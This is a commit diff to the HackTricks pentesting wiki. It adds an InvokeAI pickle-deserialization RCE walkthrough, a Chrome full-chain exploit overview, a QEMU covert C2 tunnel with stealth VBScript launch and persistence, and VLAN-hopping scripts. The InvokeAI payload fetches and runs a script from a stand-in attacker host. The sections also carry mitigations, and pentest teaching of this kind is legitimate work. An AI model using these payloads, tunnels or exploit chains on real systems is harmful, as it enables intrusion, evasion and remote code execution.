mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks
This commit is contained in:
commit
651f61fb65
@ -23,10 +23,86 @@ At the time of the writting these are some examples of this type of vulneravilit
|
|||||||
| **Keras (older formats)** | *(No new CVE)* Legacy Keras H5 model | Malicious HDF5 (`.h5`) model with Lambda layer code still executes on load (Keras safe_mode doesn’t cover old format – “downgrade attack”) | |
|
| **Keras (older formats)** | *(No new CVE)* Legacy Keras H5 model | Malicious HDF5 (`.h5`) model with Lambda layer code still executes on load (Keras safe_mode doesn’t cover old format – “downgrade attack”) | |
|
||||||
| **Others** (general) | *Design flaw* – Pickle serialization | Many ML tools (e.g., pickle-based model formats, Python `pickle.load`) will execute arbitrary code embedded in model files unless mitigated | |
|
| **Others** (general) | *Design flaw* – Pickle serialization | Many ML tools (e.g., pickle-based model formats, Python `pickle.load`) will execute arbitrary code embedded in model files unless mitigated | |
|
||||||
|
|
||||||
|
|
||||||
Moreover, there some python pickle based models like the ones used by [PyTorch](https://github.com/pytorch/pytorch/security) that can be used to execute arbitrary code on the system if they are not loaded with `weights_only=True`. So, any pickle based model might be specially susceptible to this type of attacks, even if they are not listed in the table above.
|
Moreover, there some python pickle based models like the ones used by [PyTorch](https://github.com/pytorch/pytorch/security) that can be used to execute arbitrary code on the system if they are not loaded with `weights_only=True`. So, any pickle based model might be specially susceptible to this type of attacks, even if they are not listed in the table above.
|
||||||
|
|
||||||
Example:
|
### 🆕 InvokeAI RCE via `torch.load` (CVE-2024-12029)
|
||||||
|
|
||||||
|
`InvokeAI` is a popular open-source web interface for Stable-Diffusion. Versions **5.3.1 – 5.4.2** expose the REST endpoint `/api/v2/models/install` that lets users download and load models from arbitrary URLs.
|
||||||
|
|
||||||
|
Internally the endpoint eventually calls:
|
||||||
|
|
||||||
|
```python
|
||||||
|
checkpoint = torch.load(path, map_location=torch.device("meta"))
|
||||||
|
```
|
||||||
|
|
||||||
|
When the supplied file is a **PyTorch checkpoint (`*.ckpt`)**, `torch.load` performs a **pickle deserialization**. Because the content comes directly from the user-controlled URL, an attacker can embed a malicious object with a custom `__reduce__` method inside the checkpoint; the method is executed **during deserialization**, leading to **remote code execution (RCE)** on the InvokeAI server.
|
||||||
|
|
||||||
|
The vulnerability was assigned **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %).
|
||||||
|
|
||||||
|
#### Exploitation walk-through
|
||||||
|
|
||||||
|
1. Create a malicious checkpoint:
|
||||||
|
|
||||||
|
```python
|
||||||
|
# payload_gen.py
|
||||||
|
import pickle, torch, os
|
||||||
|
|
||||||
|
class Payload:
|
||||||
|
def __reduce__(self):
|
||||||
|
return (os.system, ("/bin/bash -c 'curl http://ATTACKER/pwn.sh|bash'",))
|
||||||
|
|
||||||
|
with open("payload.ckpt", "wb") as f:
|
||||||
|
pickle.dump(Payload(), f)
|
||||||
|
```
|
||||||
|
|
||||||
|
2. Host `payload.ckpt` on an HTTP server you control (e.g. `http://ATTACKER/payload.ckpt`).
|
||||||
|
3. Trigger the vulnerable endpoint (no authentication required):
|
||||||
|
|
||||||
|
```python
|
||||||
|
import requests
|
||||||
|
|
||||||
|
requests.post(
|
||||||
|
"http://TARGET:9090/api/v2/models/install",
|
||||||
|
params={
|
||||||
|
"source": "http://ATTACKER/payload.ckpt", # remote model URL
|
||||||
|
"inplace": "true", # write inside models dir
|
||||||
|
# the dangerous default is scan=false → no AV scan
|
||||||
|
},
|
||||||
|
json={}, # body can be empty
|
||||||
|
timeout=5,
|
||||||
|
)
|
||||||
|
```
|
||||||
|
|
||||||
|
4. When InvokeAI downloads the file it calls `torch.load()` → the `os.system` gadget runs and the attacker gains code execution in the context of the InvokeAI process.
|
||||||
|
|
||||||
|
Ready-made exploit: **Metasploit** module `exploit/linux/http/invokeai_rce_cve_2024_12029` automates the whole flow.
|
||||||
|
|
||||||
|
#### Conditions
|
||||||
|
|
||||||
|
• InvokeAI 5.3.1-5.4.2 (scan flag default **false**)
|
||||||
|
• `/api/v2/models/install` reachable by the attacker
|
||||||
|
• Process has permissions to execute shell commands
|
||||||
|
|
||||||
|
#### Mitigations
|
||||||
|
|
||||||
|
* Upgrade to **InvokeAI ≥ 5.4.3** – the patch sets `scan=True` by default and performs malware scanning before deserialization.
|
||||||
|
* When loading checkpoints programmatically use `torch.load(file, weights_only=True)` or the new [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) helper.
|
||||||
|
* Enforce allow-lists / signatures for model sources and run the service with least-privilege.
|
||||||
|
|
||||||
|
> ⚠️ Remember that **any** Python pickle-based format (including many `.pt`, `.pkl`, `.ckpt`, `.pth` files) is inherently unsafe to deserialize from untrusted sources.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
Example of an ad-hoc mitigation if you must keep older InvokeAI versions running behind a reverse proxy:
|
||||||
|
|
||||||
|
```nginx
|
||||||
|
location /api/v2/models/install {
|
||||||
|
deny all; # block direct Internet access
|
||||||
|
allow 10.0.0.0/8; # only internal CI network can call it
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Example – crafting a malicious PyTorch model
|
||||||
|
|
||||||
- Create the model:
|
- Create the model:
|
||||||
|
|
||||||
@ -67,7 +143,6 @@ model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))
|
|||||||
# /tmp/pwned.txt is created even if you get an error
|
# /tmp/pwned.txt is created even if you get an error
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
## Models to Path Traversal
|
## Models to Path Traversal
|
||||||
|
|
||||||
As commented in [**this blog post**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), most models formats used by different AI frameworks are based on archives, usually `.zip`. Therefore, it might be possible to abuse these formats to perform path traversal attacks, allowing to read arbitrary files from the system where the model is loaded.
|
As commented in [**this blog post**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), most models formats used by different AI frameworks are based on archives, usually `.zip`. Therefore, it might be possible to abuse these formats to perform path traversal attacks, allowing to read arbitrary files from the system where the model is loaded.
|
||||||
@ -102,4 +177,11 @@ with tarfile.open("symlink_demo.model", "w:gz") as tf:
|
|||||||
tf.add(PAYLOAD) # rides the symlink
|
tf.add(PAYLOAD) # rides the symlink
|
||||||
```
|
```
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
## References
|
||||||
|
|
||||||
|
- [OffSec blog – "CVE-2024-12029 – InvokeAI Deserialization of Untrusted Data"](https://www.offsec.com/blog/cve-2024-12029/)
|
||||||
|
- [InvokeAI patch commit 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e)
|
||||||
|
- [Rapid7 Metasploit module documentation](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/)
|
||||||
|
- [PyTorch – security considerations for torch.load](https://pytorch.org/docs/stable/notes/serialization.html#security)
|
||||||
|
|
||||||
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
@ -283,6 +283,7 @@
|
|||||||
- [Privileged Groups](windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md)
|
- [Privileged Groups](windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md)
|
||||||
- [RDP Sessions Abuse](windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
|
- [RDP Sessions Abuse](windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
|
||||||
- [Resource-based Constrained Delegation](windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md)
|
- [Resource-based Constrained Delegation](windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md)
|
||||||
|
- [Sccm Management Point Relay Sql Policy Secrets](windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md)
|
||||||
- [Security Descriptors](windows-hardening/active-directory-methodology/security-descriptors.md)
|
- [Security Descriptors](windows-hardening/active-directory-methodology/security-descriptors.md)
|
||||||
- [SID-History Injection](windows-hardening/active-directory-methodology/sid-history-injection.md)
|
- [SID-History Injection](windows-hardening/active-directory-methodology/sid-history-injection.md)
|
||||||
- [Silver Ticket](windows-hardening/active-directory-methodology/silver-ticket.md)
|
- [Silver Ticket](windows-hardening/active-directory-methodology/silver-ticket.md)
|
||||||
@ -334,6 +335,7 @@
|
|||||||
- [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md)
|
- [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md)
|
||||||
- [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md)
|
- [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md)
|
||||||
- [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md)
|
- [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md)
|
||||||
|
- [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md)
|
||||||
- [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md)
|
- [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md)
|
||||||
- [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md)
|
- [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md)
|
||||||
- [Make APK Accept CA Certificate](mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md)
|
- [Make APK Accept CA Certificate](mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md)
|
||||||
@ -347,6 +349,7 @@
|
|||||||
- [Webview Attacks](mobile-pentesting/android-app-pentesting/webview-attacks.md)
|
- [Webview Attacks](mobile-pentesting/android-app-pentesting/webview-attacks.md)
|
||||||
- [iOS Pentesting Checklist](mobile-pentesting/ios-pentesting-checklist.md)
|
- [iOS Pentesting Checklist](mobile-pentesting/ios-pentesting-checklist.md)
|
||||||
- [iOS Pentesting](mobile-pentesting/ios-pentesting/README.md)
|
- [iOS Pentesting](mobile-pentesting/ios-pentesting/README.md)
|
||||||
|
- [Air Keyboard Remote Input Injection](mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md)
|
||||||
- [iOS App Extensions](mobile-pentesting/ios-pentesting/ios-app-extensions.md)
|
- [iOS App Extensions](mobile-pentesting/ios-pentesting/ios-app-extensions.md)
|
||||||
- [iOS Basics](mobile-pentesting/ios-pentesting/ios-basics.md)
|
- [iOS Basics](mobile-pentesting/ios-pentesting/ios-basics.md)
|
||||||
- [iOS Basic Testing Operations](mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md)
|
- [iOS Basic Testing Operations](mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md)
|
||||||
@ -759,6 +762,7 @@
|
|||||||
- [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
|
- [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
|
||||||
- [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
|
- [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
|
||||||
- [Array Indexing](binary-exploitation/array-indexing.md)
|
- [Array Indexing](binary-exploitation/array-indexing.md)
|
||||||
|
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
|
||||||
- [Integer Overflow](binary-exploitation/integer-overflow.md)
|
- [Integer Overflow](binary-exploitation/integer-overflow.md)
|
||||||
- [Format Strings](binary-exploitation/format-strings/README.md)
|
- [Format Strings](binary-exploitation/format-strings/README.md)
|
||||||
- [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md)
|
- [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md)
|
||||||
|
|||||||
184
src/binary-exploitation/chrome-exploiting.md
Normal file
184
src/binary-exploitation/chrome-exploiting.md
Normal file
@ -0,0 +1,184 @@
|
|||||||
|
# Chrome Exploiting
|
||||||
|
|
||||||
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
> This page provides a high-level yet **practical** overview of a modern "full-chain" exploitation workflow against Google Chrome 130 based on the research series **“101 Chrome Exploitation”** (Part-0 — Preface).
|
||||||
|
> The goal is to give pentesters and exploit-developers the minimum background necessary to reproduce or adapt the techniques for their own research.
|
||||||
|
|
||||||
|
## 1. Chrome Architecture Recap
|
||||||
|
Understanding the attack surface requires knowing where code is executed and which sandboxes apply.
|
||||||
|
|
||||||
|
```
|
||||||
|
+-------------------------------------------------------------------------+
|
||||||
|
| Chrome Browser |
|
||||||
|
| |
|
||||||
|
| +----------------------------+ +-----------------------------+ |
|
||||||
|
| | Renderer Process | | Browser/main Process | |
|
||||||
|
| | [No direct OS access] | | [OS access] | |
|
||||||
|
| | +----------------------+ | | | |
|
||||||
|
| | | V8 Sandbox | | | | |
|
||||||
|
| | | [JavaScript / Wasm] | | | | |
|
||||||
|
| | +----------------------+ | | | |
|
||||||
|
| +----------------------------+ +-----------------------------+ |
|
||||||
|
| | IPC/Mojo | |
|
||||||
|
| V | |
|
||||||
|
| +----------------------------+ | |
|
||||||
|
| | GPU Process | | |
|
||||||
|
| | [Restricted OS access] | | |
|
||||||
|
| +----------------------------+ | |
|
||||||
|
+-------------------------------------------------------------------------+
|
||||||
|
```
|
||||||
|
|
||||||
|
Layered defence-in-depth:
|
||||||
|
|
||||||
|
* **V8 sandbox** (Isolate): memory permissions are restricted to prevent arbitrary read/write from JITed JS / Wasm.
|
||||||
|
* **Renderer ↔ Browser split** ensured via **Mojo/IPC** message passing; the renderer has *no* native FS/network access.
|
||||||
|
* **OS sandboxes** further contain each process (Windows Integrity Levels / `seccomp-bpf` / macOS sandbox profiles).
|
||||||
|
|
||||||
|
A *remote* attacker therefore needs **three** successive primitives:
|
||||||
|
|
||||||
|
1. Memory corruption inside V8 to get **arbitrary RW inside the V8 heap**.
|
||||||
|
2. A second bug allowing the attacker to **escape the V8 sandbox to full renderer memory**.
|
||||||
|
3. A final sandbox-escape (often logic rather than memory corruption) to execute code **outside of the Chrome OS sandbox**.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Stage 1 – WebAssembly Type-Confusion (CVE-2025-0291)
|
||||||
|
|
||||||
|
A flaw in TurboFan’s **Turboshaft** optimisation mis-classifies **WasmGC reference types** when the value is produced and consumed inside a *single basic block loop*.
|
||||||
|
|
||||||
|
Effect:
|
||||||
|
* The compiler **skips the type-check**, treating a *reference* (`externref/anyref`) as an *int64*.
|
||||||
|
* Crafted Wasm allows overlapping a JS object header with attacker-controlled data → <code>addrOf()</code> & <code>fakeObj()</code> **AAW / AAR primitives**.
|
||||||
|
|
||||||
|
Minimal PoC (excerpt):
|
||||||
|
|
||||||
|
```WebAssembly
|
||||||
|
(module
|
||||||
|
(type $t0 (func (param externref) (result externref)))
|
||||||
|
(func $f (param $p externref) (result externref)
|
||||||
|
(local $l externref)
|
||||||
|
block $exit
|
||||||
|
loop $loop
|
||||||
|
local.get $p ;; value with real ref-type
|
||||||
|
;; compiler incorrectly re-uses it as int64 in the same block
|
||||||
|
br_if $exit ;; exit condition keeps us single-block
|
||||||
|
br $loop
|
||||||
|
end
|
||||||
|
end)
|
||||||
|
(export "f" (func $f)))
|
||||||
|
```
|
||||||
|
|
||||||
|
Trigger optimisation & spray objects from JS:
|
||||||
|
|
||||||
|
```js
|
||||||
|
const wasmMod = new WebAssembly.Module(bytes);
|
||||||
|
const wasmInst = new WebAssembly.Instance(wasmMod);
|
||||||
|
const f = wasmInst.exports.f;
|
||||||
|
|
||||||
|
for (let i = 0; i < 1e5; ++i) f({}); // warm-up for JIT
|
||||||
|
|
||||||
|
// primitives
|
||||||
|
let victim = {m: 13.37};
|
||||||
|
let fake = arbitrary_data_backed_typedarray;
|
||||||
|
let addrVict = addrOf(victim);
|
||||||
|
```
|
||||||
|
|
||||||
|
Outcome: **arbitrary read/write within V8**.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Stage 2 – Escaping the V8 Sandbox (issue 379140430)
|
||||||
|
|
||||||
|
When a Wasm function is tier-up-compiled, a **JS ↔ Wasm wrapper** is generated. A signature-mismatch bug causes the wrapper to write past the end of a trusted **`Tuple2`** object when the Wasm function is re-optimised *while still on the stack*.
|
||||||
|
|
||||||
|
Overwriting the 2 × 64-bit fields of the `Tuple2` object yields **read/write on any address inside the Renderer process**, effectively bypassing the V8 sandbox.
|
||||||
|
|
||||||
|
Key steps in exploit:
|
||||||
|
1. Get function into **Tier-Up** state by alternating turbofan/baseline code.
|
||||||
|
2. Trigger tier-up while keeping a reference on the stack (`Function.prototype.apply`).
|
||||||
|
3. Use Stage-1 AAR/AAW to find & corrupt the adjacent `Tuple2`.
|
||||||
|
|
||||||
|
Wrapper identification:
|
||||||
|
|
||||||
|
```js
|
||||||
|
function wrapperGen(arg) {
|
||||||
|
return f(arg);
|
||||||
|
}
|
||||||
|
%WasmTierUpFunction(f); // force tier-up (internals-only flag)
|
||||||
|
wrapperGen(0x1337n);
|
||||||
|
```
|
||||||
|
|
||||||
|
After corruption we possess a fully-featured **renderer R/W primitive**.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. Stage 3 – Renderer → OS Sandbox Escape (CVE-2024-11114)
|
||||||
|
|
||||||
|
The **Mojo** IPC interface `blink.mojom.DragService.startDragging()` can be called from the Renderer with *partially trusted* parameters. By crafting a `DragData` structure pointing to an **arbitrary file path** the renderer convinces the browser to perform a *native* drag-and-drop **outside the renderer sandbox**.
|
||||||
|
|
||||||
|
Abusing this we can programmatically “drag” a malicious EXE (previously dropped in a world-writable location) onto the Desktop, where Windows automatically executes certain file-types once dropped.
|
||||||
|
|
||||||
|
Example (simplified):
|
||||||
|
|
||||||
|
```js
|
||||||
|
const payloadPath = "C:\\Users\\Public\\explorer.exe";
|
||||||
|
|
||||||
|
chrome.webview.postMessage({
|
||||||
|
type: "DragStart",
|
||||||
|
data: {
|
||||||
|
title: "MyFile",
|
||||||
|
file_path: payloadPath,
|
||||||
|
mime_type: "application/x-msdownload"
|
||||||
|
}
|
||||||
|
});
|
||||||
|
```
|
||||||
|
|
||||||
|
No additional memory corruption is necessary – the **logic flaw** gives us arbitrary file execution with the user’s privileges.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Full Chain Flow
|
||||||
|
|
||||||
|
1. **User visits** malicious webpage.
|
||||||
|
2. **Stage 1**: Wasm module abuses CVE-2025-0291 → V8 heap AAR/AAW.
|
||||||
|
3. **Stage 2**: Wrapper mismatch corrupts `Tuple2` → escape V8 sandbox.
|
||||||
|
4. **Stage 3**: `startDragging()` IPC → escape OS sandbox & execute payload.
|
||||||
|
|
||||||
|
Result: **Remote Code Execution (RCE)** on the host (Chrome 130, Windows/Linux/macOS).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Lab & Debugging Setup
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Spin-up local HTTP server w/ PoCs
|
||||||
|
npm i -g http-server
|
||||||
|
git clone https://github.com/Petitoto/chromium-exploit-dev
|
||||||
|
cd chromium-exploit-dev
|
||||||
|
http-server -p 8000 -c -1
|
||||||
|
|
||||||
|
# Windows kernel debugging
|
||||||
|
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols
|
||||||
|
```
|
||||||
|
|
||||||
|
Useful flags when launching a *development* build of Chrome:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Takeaways
|
||||||
|
|
||||||
|
* **WebAssembly JIT bugs** remain a reliable entry-point – the type system is still young.
|
||||||
|
* Obtaining a second memory-corruption bug inside V8 (e.g. wrapper mismatch) greatly simplifies **V8-sandbox escape**.
|
||||||
|
* Logic-level weaknesses in privileged Mojo IPC interfaces are often sufficient for a **final sandbox escape** – keep an eye on *non-memory* bugs.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
* [101 Chrome Exploitation — Part 0 (Preface)](https://opzero.ru/en/press/101-chrome-exploitation-part-0-preface/)
|
||||||
|
* [Chromium security architecture](https://chromium.org/developers/design-documents/security)
|
||||||
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
@ -726,11 +726,73 @@ ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_p
|
|||||||
|
|
||||||
The above command publishes the victim’s port **8080** as **attacker_ip:9000** without deploying any additional tooling – ideal for living-off-the-land pivoting.
|
The above command publishes the victim’s port **8080** as **attacker_ip:9000** without deploying any additional tooling – ideal for living-off-the-land pivoting.
|
||||||
|
|
||||||
|
## Covert VM-based Tunnels with QEMU
|
||||||
|
|
||||||
|
QEMU’s user-mode networking (`-netdev user`) supports an option called `hostfwd` that **binds a TCP/UDP port on the *host* and forwards it into the *guest***. When the guest runs a full SSH daemon, the hostfwd rule gives you a disposable SSH jump box that lives entirely inside an ephemeral VM – perfect for hiding C2 traffic from EDR because all malicious activity and files stay in the virtual disk.
|
||||||
|
|
||||||
|
### Quick one-liner
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# Windows victim (no admin rights, no driver install – portable binaries only)
|
||||||
|
qemu-system-x86_64.exe ^
|
||||||
|
-m 256M ^
|
||||||
|
-drive file=tc.qcow2,if=ide ^
|
||||||
|
-netdev user,id=n0,hostfwd=tcp::2222-:22 ^
|
||||||
|
-device e1000,netdev=n0 ^
|
||||||
|
-nographic
|
||||||
|
```
|
||||||
|
|
||||||
|
• The command above launches a **Tiny Core Linux** image (`tc.qcow2`) in RAM.
|
||||||
|
• Port **2222/tcp** on the Windows host is transparently forwarded to **22/tcp** inside the guest.
|
||||||
|
• From the attacker’s point of view the target simply exposes port 2222; any packets that reach it are handled by the SSH server running in the VM.
|
||||||
|
|
||||||
|
### Launching stealthily through VBScript
|
||||||
|
|
||||||
|
```vb
|
||||||
|
' update.vbs – lived in C:\ProgramData\update
|
||||||
|
Set o = CreateObject("Wscript.Shell")
|
||||||
|
o.Run "stl.exe -m 256M -drive file=tc.qcow2,if=ide -netdev user,id=n0,hostfwd=tcp::2222-:22", 0
|
||||||
|
```
|
||||||
|
|
||||||
|
Running the script with `cscript.exe //B update.vbs` keeps the window hidden.
|
||||||
|
|
||||||
|
### In-guest persistence
|
||||||
|
|
||||||
|
Because Tiny Core is stateless, attackers usually:
|
||||||
|
|
||||||
|
1. Drop payload to `/opt/123.out`
|
||||||
|
2. Append to `/opt/bootlocal.sh`:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
while ! ping -c1 45.77.4.101; do sleep 2; done
|
||||||
|
/opt/123.out
|
||||||
|
```
|
||||||
|
|
||||||
|
3. Add `home/tc` and `opt` to `/opt/filetool.lst` so the payload is packed into `mydata.tgz` on shutdown.
|
||||||
|
|
||||||
|
### Why this evades detection
|
||||||
|
|
||||||
|
• Only two unsigned executables (`qemu-system-*.exe`) touch disk; no drivers or services are installed.
|
||||||
|
• Security products on the host see **benign loopback traffic** (the actual C2 terminates inside the VM).
|
||||||
|
• Memory scanners never analyse the malicious process space because it lives in a different OS.
|
||||||
|
|
||||||
|
### Defender tips
|
||||||
|
|
||||||
|
• Alert on **unexpected QEMU/VirtualBox/KVM binaries** in user-writable paths.
|
||||||
|
• Block outbound connections that originate from `qemu-system*.exe`.
|
||||||
|
• Hunt for rare listening ports (2222, 10022, …) binding immediately after a QEMU launch.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## Other tools to check
|
## Other tools to check
|
||||||
|
|
||||||
- [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
|
- [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
|
||||||
- [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
|
- [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [Hiding in the Shadows: Covert Tunnels via QEMU Virtualization](https://trustedsec.com/blog/hiding-in-the-shadows-covert-tunnels-via-qemu-virtualization)
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@ -60,11 +60,84 @@ Connectivity is tested by initiating ICMP requests to the default gateways for V
|
|||||||
|
|
||||||
Ultimately, this process enables bypassing of VLAN segmentation, thereby facilitating unrestricted access to any VLAN network, and setting the stage for subsequent actions.
|
Ultimately, this process enables bypassing of VLAN segmentation, thereby facilitating unrestricted access to any VLAN network, and setting the stage for subsequent actions.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Other VLAN-Hopping Techniques (no privileged switch CLI)
|
||||||
|
|
||||||
|
The previous method assumes authenticated console or Telnet/SSH access to the switch. In real-world engagements the attacker is usually connected to a **regular access port**. The following Layer-2 tricks often let you pivot laterally without ever logging into the switch OS:
|
||||||
|
|
||||||
|
### 1. Switch-Spoofing with Dynamic Trunking Protocol (DTP)
|
||||||
|
|
||||||
|
Cisco switches that keep DTP enabled will happily negotiate a trunk if the peer claims to be a switch. Crafting a single **DTP “desirable”** or **“trunk”** frame converts the access port into an 802.1Q trunk that carries *all* allowed VLANs.
|
||||||
|
|
||||||
|
*Yersinia* and several PoCs automate the process:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Become a trunk using Yersinia (GUI)
|
||||||
|
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
|
||||||
|
|
||||||
|
# Python PoC (dtp-spoof)
|
||||||
|
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
|
||||||
|
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
||||||
|
```
|
||||||
|
|
||||||
|
Once the port switches to trunk you can create 802.1Q sub-interfaces and pivot exactly as shown in the previous section. Modern Linux kernels no longer require *vconfig*; instead use *ip link*:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
sudo modprobe 8021q
|
||||||
|
sudo ip link add link eth0 name eth0.30 type vlan id 30
|
||||||
|
sudo ip addr add 10.10.30.66/24 dev eth0.30
|
||||||
|
sudo ip link set eth0.30 up
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2. Double-Tagging (Native-VLAN Abuse)
|
||||||
|
|
||||||
|
If the attacker sits on the **native (untagged) VLAN**, a crafted frame with *two* 802.1Q headers can "hop" to a second VLAN even when the port is locked in access mode. Tooling such as **VLANPWN DoubleTagging.py** (2022-2024 refresh) automates the injection:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python3 DoubleTagging.py \
|
||||||
|
--interface eth0 \
|
||||||
|
--nativevlan 1 \
|
||||||
|
--targetvlan 20 \
|
||||||
|
--victim 10.10.20.24 \
|
||||||
|
--attacker 10.10.1.54
|
||||||
|
```
|
||||||
|
|
||||||
|
Packet walk-through:
|
||||||
|
1. Outer tag (1) is stripped by the first switch because it matches the native VLAN.
|
||||||
|
2. Inner tag (20) is now exposed; the frame is forwarded onto the trunk towards VLAN 20.
|
||||||
|
|
||||||
|
The technique still works in 2025 on networks that leave the native VLAN at the default and accept untagged frames .
|
||||||
|
|
||||||
|
### 3. QinQ (802.1ad) Stacking
|
||||||
|
|
||||||
|
Many enterprise cores support *Q-in-Q* service provider encapsulation. Where permitted, an attacker can tunnel arbitrary 802.1Q-tagged traffic inside a provider (S-tag) to cross security zones. Capture for 802.1ad ethertype 0x88a8 and attempt to pop the outer tag with Scapy:
|
||||||
|
|
||||||
|
```python
|
||||||
|
from scapy.all import *
|
||||||
|
outer = 100 # Service tag
|
||||||
|
inner = 30 # Customer / target VLAN
|
||||||
|
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
|
||||||
|
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
|
||||||
|
sendp(frame, iface="eth0")
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Defensive Recommendations
|
||||||
|
|
||||||
|
1. Disable DTP on all user-facing ports: `switchport mode access` + `switchport nonegotiate`.
|
||||||
|
2. Change the native VLAN on every trunk to an **unused, black-hole VLAN** and tag it: `vlan dot1q tag native`.
|
||||||
|
3. Prune unnecessary VLANs on trunks: `switchport trunk allowed vlan 10,20`.
|
||||||
|
4. Enforce port security, DHCP snooping & dynamic ARP inspection to limit rogue Layer-2 activity.
|
||||||
|
5. Prefer private-VLANs or L3 segmentation instead of relying solely on 802.1Q separation.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||||
|
